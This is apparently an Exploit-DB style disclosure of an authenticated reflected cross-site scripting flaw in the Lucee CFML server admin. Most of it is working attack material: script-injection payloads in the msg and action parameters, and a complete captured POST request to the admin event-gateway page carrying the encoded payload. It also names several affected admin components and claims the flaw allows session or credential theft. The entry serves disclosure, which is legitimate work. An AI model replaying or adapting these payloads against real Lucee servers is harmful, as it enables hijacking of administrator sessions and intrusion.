Lucee 5.4.2.17 - Authenticated Reflected XSS Vulnerability

# Exploit Title: Lucee 5.4.2.17 - Authenticated Reflected XSS
# Exploit Author: Yehia Elghaly
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: << 5.4.2.17
# Tested on: Windows 10
# CVE: N/A


Summary: Lucee is a light-weight dynamic CFML scripting language with a solid foundation.Lucee is a high performance, open source, ColdFusion / CFML server engine, written in Java.

Description: The attacker can able to convince a victim to visit a malicious URL, can perform a wide variety of actions, such as stealing the victim's session token or login credentials.

The payload: ?msg=<img src=xss onerror=alert('xssya')>
http://172.16.110.130:8888/lucee/admin/server.cfm?action=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3E

POST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1
Host: 172.16.110.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://172.16.110.130:8888
Connection: close
Referer: http://172.16.110.130:8888/lucee/admin/web.cfm?action=services.gateway&action2=create
Cookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overview
Upgrade-Insecure-Requests: 1

name=AsynchronousEvents&class=&cfcPath=lucee.extension.gateway.AsynchronousEvents&id=a&_id=a&listenerCfcPath=lucee.extension.gateway.AsynchronousEventsListener&startupMode=automatic&custom_component=%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3E&mainAction=submit

[Affected Component]
Debugging-->Template
Service --> Search
Services  --> Event Gateway
Service --> Logging